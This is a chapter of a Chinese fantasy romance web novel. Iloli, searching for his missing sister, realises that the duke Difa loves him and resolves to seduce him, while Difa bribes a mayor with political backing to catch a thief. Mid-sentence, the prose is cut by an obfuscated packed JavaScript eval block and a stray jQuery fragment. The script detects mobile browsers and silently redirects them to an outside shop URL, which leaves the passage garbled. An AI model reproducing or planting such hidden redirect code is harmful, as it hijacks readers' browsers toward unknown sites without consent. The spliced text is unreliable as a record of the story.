狄法垂下眼,问:“还记得那个占卜师的长相吗?”
纽波加城的市长,记得应该是劳工党的人,缺竞选资金又缺政治资本,之前在慈善晚宴见过一面,很迫切地想要得到卡斯德伊的支持来赢得来年的连任资格。他不会拒绝卡斯德伊开出的任何条件,即使要调动一座城的警力去搜刮一个抢劫犯也一样。
没有人可以伤害了卡斯德伊的人后,还能安然全身而退。
伊洛里头低得更下,沉默了一会儿,道:“对不起。”
除了这句话,他想不到还有什么能说,他不能让狄法找到巴尼,否则他带着目的接近狄法的事情很可能会败露。
伊洛里的回答却让狄法误会了。
“为什么要道歉?”冰凉的翡翠扳指蹭过伊洛里的脸侧。
伊洛里张了张口,“可是……你看起来似乎对我很生气。”
狄法停了手,看向那双似乎充满了不安情绪的碧绿眸子,他是想要安慰伊洛里,但现在看来完全没有达到目的,反而让小小的追求者担惊受怕了起来。
“我没有对你生气,只是在问清楚事情经过。这有助于尽快把那个抢劫犯找出来,减小他逃跑的可能性。”狄法说,却见伊洛里因为这解释而紧张更甚,双手握起来。
显然更加不安了。
狄法极细微地抿了抿唇。刚才他哪句话说错了?
他没有多少安慰人的经验,蓝血人间最大的安慰只是不冷漠相对、言语打压,即便是家人,日常交流都不会彼此谈论心里的感受。
在少年时期,狄法甚至要提前一天申请,才能在第二天短暂地见父母一面。
伊洛里现在需要安慰,但是他不知道该说些什么,只能回忆着书里说的话,【红血人感情充沛,以至于时常会为一些事感到难过和失落,这时候如果给他们一个拥抱,就能够胜过语言的安慰。】
要胜过语言的拥抱。
墙壁上,高大的人影首先俯下了身,轻轻地抱住了较小的另一个人影,影子相互交融,仿若本就一体。
伊洛里被突如其来的热度和重量弄昏头了。不大发雷霆就算了,狄法为什么会是这个态度?
伊洛里还没有凌乱完,就听见低醇的男音在自己耳边说,“不用跟我道歉,遇到劫犯并不是你的错。”
狄法抚上伊洛里的后背,抱紧了他,“项链吊坠上刻有卡斯德伊的家徽,未经我同意,帝国中没人敢买下它。”
“犯人也终究会被抓住,所以不用担心项链会消失不见,属于你的就是你的,丢不了。”
黄金大公的所有物,没人敢染指。
这着实是一个很难得的安慰。伊洛里知道蓝血人对感情外露的做法嗤之以鼻,不会说很温和的话。
伊洛里忽然想知道,狄法是以怎么样的表情说出这句话的,还是冷漠,例行性的场面话吗?
伊洛里侧过头,不由得愣了神。
怎么形容呢,仿若冰山消融,澄透的蓝眸专注到容不下其他干扰,他甚至觉得自己从狄法的眼眸中看出了暖意,从来没出现过的暖意。
狄法的眉宇在伊洛里眼中前所未有地清晰起来,如蒙在眼前的毛玻璃突然被撤走,那么一刹那,伊洛里忽然读懂了狄法眼中的情愫。
他几乎要惊呼出来。啊,这个人喜欢自己。
那么明显的事,为什么一直都没有注意到,为什么肢体动作多得过分,是因为喜欢啊,喜欢才想要接近,想要拥抱和相贴。
“阁下。”伊洛里双手一推,挣开了狄法的拥抱,慌慌张张地站起来,“我突然记起来我把祛疤膏忘在房间里了,现在回去给您拿可以吗?”
狄法怀中一空,他抬起头看着伊洛里。
伊洛里绞着手,他的紧张都像是藏在水面下的冰山,不显声色,内部的张力已然拉到极致。
狄法也记起来伊洛里在回家前是说过这么一件事。其实留不留疤这件事他真不在意,但是伊洛里关心他,这让他感觉很好。
狄法见伊洛里奔波得疲惫的模样,平静道:“不用了,你今天也已经很累,先回去休息吧。”
伊洛里暗自松了一口气,嘴巴尽力抿成直线:“谢谢你,那我明天再把药膏带过来。”
在走出门的当口,伊洛里身后传来一声低沉的“晚安,教授。”
伊洛里心跳漏一拍,火辣辣的感觉烧上脸。
在明白了狄法的心思当下,狄法的一言一行都附上了不同含义,令他不得不在意。
伊洛里强作镇定地回应道:“谢谢,也愿您做个好梦。”
门开了一下,又再关上。
客房里,伊洛里坐在床边,烦恼得半分睡意没有。他想不出来,自己做什么会让狄法产生误会的举动了吗?如果后面狄法对他示爱的话,他又该怎么回应?答应不了会遭遇什么样的对待?
伊洛里心烦意乱,好多个问题都想不出所以然。
他现在知道或许狄法不是个坏人,但这不意味着他会爱上狄法,无论是那只金色非人的异瞳,还是过于高挺的身形,他都难以生出好感,而狄法的冷傲也给他留下了谈不上好的第一印象。
他安慰自己这也算是命运安排,就算今晚没有发现狄法对自己有好感,他对城堡的调查也已经告一段落,已经到了要辞职离开灰铸铁城堡的时间。
伊洛里叹气:“是时候要走了,在情况变得更复杂之前。”
伊洛里起身想去倒杯水喝,脚刚一动。
啪沙——
什么软绵的东西被踢倒在地上。
伊洛里下意识往下看,却见从巴尼那里带回来的药袋敞开一个口子,里边装着的、古怪的显现药粉洒到了地板上。
伊洛里叹气,不行啊,这么心烦意乱下去什么事都会做不成。
伊洛里蹲下身,细细把药粉扫成一个小堆,拿一张纸把它们包起来,折纸的时候,他没注意纸张翘起的另一角,些许药粉倒到了挂在手链上的小银盒,下一秒,药粉奇异地融入了银盒表面。
这是怎么回事?
伊洛里打开银盒,在看见里面的景象时心脏猛地一颤。
“呜呜、呜呜呜……”照片里的索菲娅忽地“活”了过来,大颗大颗的泪水从她脸上流下来,鹅蛋脸的女孩哭得肝肠寸断。
伊洛里看见她嘴巴张开,在一遍遍地喊着什么短语。
“什么,索菲你想告诉我什么?k、k,科丝?”
不对,最后一个发音嘴巴要抿起来,咬住牙齿。
“科、卡,”伊洛里痛苦地学出那几个音节,“卡斯德伊……?”
“索菲,你在试图告诉我你的失踪跟卡斯德伊的人有关吗?”
索菲娅仍不停喊着卡斯德伊。
伊洛里眼眶红了,摸着照片悲伤地问:“你想让我留下来继续调查吗?”
照片中的女孩还是在哭,没有任何回应,随着药粉的魔力消失,她逐渐停止了流泪,变回原本巧笑倩兮的图像,仿佛刚才的求救不过是一场梦。
伊洛里沉默地看着手中这张照片良久,占卜师巴尼那张丑陋的脸又浮现出来,奸笑声像把锥子刺痛他。
【卡斯德伊的黑暗所在之处,就是你妹妹的位置。】
【再努力,更加讨好那位公爵,他自然会为你做到一切。】
风声吹打着窗户,玻璃凝出水珠,像人滴落的眼泪,庭苑中化雪的土地在灯下泥泞。
“……做到一切吗?”伊洛里喃喃。
索菲娅和一无所获地离开这里,如何抉择才是最佳选择?
看似有两个选项,但对伊洛里来说,其实能选的从来只有一个。
听着壁炉内的木柴燃烧声,他眼神一点点暗下来,也一点点浮现出坚毅,终究还是下定了决心。
伊洛里去洗了澡,换上衣柜中最轻透的那件衬衫,下摆在空中微微摆动,堪遮过胯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073317|149387||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
部。
伊洛里端量着落地镜中的自己。头发凌乱地卷翘起来了,又被浴室的水汽沾湿,眼睛因为情绪激动,所以隐约透出点绯红,五官俊秀温润,但不如纤细的美少年们一般漂亮精致。
这样的他在狄法眼中会足够有魅力吗?
伊洛里不知道答案。
他咬了一下嘴唇,把衬衫的扣子又解开两粒,露出更多皮肤,暖黄的灯光中腻白得过分。
伊洛里的心也紧绷。“试试吧。”伊洛里对着镜子说。
镜子里的俊秀男人也对他说:“试试吧。”
-------------------------------------
狄法捻了捻手指,好像如雨后森林,清新又温润的林木气息还萦绕指尖。
他又想起在伊洛里脖子上那道刺目的鲜红,不快地皱起眉。
伊洛里没有做错什么,而做错事的人还没有为此付出代价。
狄法拿起放在桌边的银盒,镂空的铃兰花纹盒盖底下是厚厚一沓名片。
小小一个盒子,承装着亚瓦尔帝国内整个上层社会的联络网,不管是宫廷命妇还是商界巨贾,都能在其中找到他们的名字。
狄法翻了一会儿,找出纽波加城市长的名片,放到烛火上点燃了,点点闪光从火焰中迸溅,然后光点构成一串音符。
音符轻轻抖了一下,一个诚惶诚恐的人声出现,“公爵大人,您有事吩咐鄙人?”
狄法:“你的城市中的一个占卜师在昨天上午伤害了我的人,并且从他手中抢走了一条魔石项链,我要你把他找出来。”
“啊、啊这……”
“你最快能够用多长时间把那个人押到监狱里?”
纽波加城市长满头大汗,“一、一个月可以吗?”
没有回应。
市长心里惶恐,说话更结巴,“不行的话,那、那么三个星期可以吗?”
狄法从容地旋着翡翠扳指,道,“有点慢了。如果能在一周内抓到人,卡斯德伊将会在四个月后,公开宣布在纽波加城的市长选举中支持劳工党。”
“届时源源不断的资金和宣传资源都会向你们倾斜。”
“您说的是真的吗!”纽波加市长激动得声音都变形了,魔法音符抖动得几乎要碎裂。
“哦,天呐,我向您保证会做好的,我现在就让人去查,保证一个星期内会给您带来好消息。”
魔法音符在空气中漾开一圈圈波纹,渐渐黯淡,纽波加市长的声音也逐渐减小,消失不见。
狄法坐到躺椅上,手放在身侧,闭目养神。
他想着,等捉到那个人,就把项链重新给伊洛里,至于那人要受什么判罚的事还是不要跟伊洛里讲了,他只要因为项链回来而高兴就好。
狄法思索:贵重的宝石虽然不错,但别人很容易会抢夺,下次还是给伊洛里送一座四季常春的庭苑好了,他那么喜欢植物花草,肯定也会喜欢这份礼物。
-------------------------------------
临近宵禁,走廊空无一人,仆人们悄无声息地退了下楼。
这次伊洛里没征询房内人的同意,轻轻推开了门。他怕一听见狄法的声音,自己好不容易建立起来的勇气会坍塌得一败涂地,连视线都没办法对上就退缩回自己的房间。
恍如初次见面的场景,淡蓝色的烟雾在轻薄的帷幔间飘荡,堆叠成云雾的形状,在云雾的最深处,身材颀长的黄金大公正在躺椅上憩息,戴满宝石戒指的右手搭在扶手上。
呛烈的烟草、红酒以及长久的闭目沉思,这是狄法休息的方式。
伊洛里心跳如擂,每一步都仿佛走在钢丝上。
“阁下……”颤着声喊出来的,紧张得喉咙都痉挛。
“伊洛里?”狄法睁开眼,看见跪在自己脚边的人时,罕见地愣了神。